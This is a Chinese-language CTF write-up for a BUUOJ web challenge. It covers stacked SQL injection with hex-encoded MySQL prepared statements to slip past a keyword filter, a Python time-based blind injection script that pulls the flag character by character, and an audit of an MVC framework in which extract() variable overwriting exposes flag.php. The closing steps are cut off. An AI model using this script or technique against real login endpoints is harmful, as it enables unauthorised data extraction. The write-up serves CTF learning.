知识点:16进制+mysql预处理,在PDO环境下的sql进行堆叠注入、mvc框架的简单审计、extract函数变量覆盖
分析
登录没反应,注册功能没有,也没有目录穿越和伪协议读取,那么抓个包吧,可以看到状态码,和一个状态信息,试一下注入,可以看到加了单引号报错,双引号却没有,单引号加分号没错,那么就很明显了,是堆叠注入。 并且还过滤了一大堆关键词,这边就要用16进制+mysql预处理 来进行预处理,预处理我理解就是类似动态调用,那么16进制+mysql预处理 是怎么进行堆叠注入的呢?我们借助MySQL 来看一下。 从sql界面中可以看出,我们用预处理来执行16进制后的sql语句是可以的,那么我们就可以进行堆叠注入了。 (知识点详细了解处:https://xz.aliyun.com/t/3950 )
mysql> select hex('select sleep(5)');
+--------------------------------+
| hex('select sleep(5)') |
+--------------------------------+
| 73656C65637420736C656570283529 |
+--------------------------------+
1 row in set (0.01 sec)
mysql> set @a = 0x73656C65637420736C656570283529;
Query OK, 0 rows affected (0.00 sec)
mysql> prepare smtm_test from @a;
Query OK, 0 rows affected (0.00 sec)
Statement prepared
mysql> execute smtm_test;
+----------+
| sleep(5) |
+----------+
| 0 |
+----------+
获取源码文件名-exp
(exp出处:https://www.anquanke.com/post/id/194640#h3-4 )
import requests
import json
import time
def main():
url = 'http://2f40d5e5-47d2-45c6-9f2c-eeafd0786245.node4.buuoj.cn:81/index.php?r=Login/Login'
payloads = "admin';set @a=0x{0};prepare smtm_test from @a;execute smtm_test-- -"
flag = ''
for i in range(27,30):
payload = 'select if(ascii(substr((select flag from flag),{0},1))={1},sleep(3),0)'
for j in range(32,127):
datas = {"username":payloads.format(str_to_hex(payload.format(i,j))),"password":"123456"}
data = json.dumps(datas)
times = time.time()
res = requests.post(url=url, data=data)
if time.time() - times >= 3:
flag = flag + chr(j)
print(flag)
break
def str_to_hex(s):
return ''.join([hex(ord(c)).replace('0x', '') for c in s])
if __name__ == '__main__':
main()
源码文件:glzjin_wants_a_girl_friend.zip
利用点
flag 文件提示我们要通过某些方法访问它。
fun.php中解释了路由的构成。 例如:Login/Index 就是LoginController 下的actionIndex 函数 也就是说r=Login/Index 访问了Controller 文件夹下的文件。 在BaseController.php中看到了一个extract函数,可以用来变量覆盖,且这是一个mvc框架,那么view文件夹下的就是客户端的,$this->viewPath = BASE_PATH . "/View/{$viewName}.php"; include 包含了里面传的一个参数,找找哪边可以利用来传参。 在UserController.php 中可以传参给BaseController.php 中的$viewName 属性,此时已经确定了index.php?r=User/Index ,接下来就去view/userIndex.php 文件看看 在view/userIndex.php 中,有一段把图片转为base64然后输出的代码片段,那么我们可以利用extract 函数覆盖掉$img_base64 为/../flag.php ,这样就可以得到flag的base64加密后的值了。
输入参数: 获得flag:
|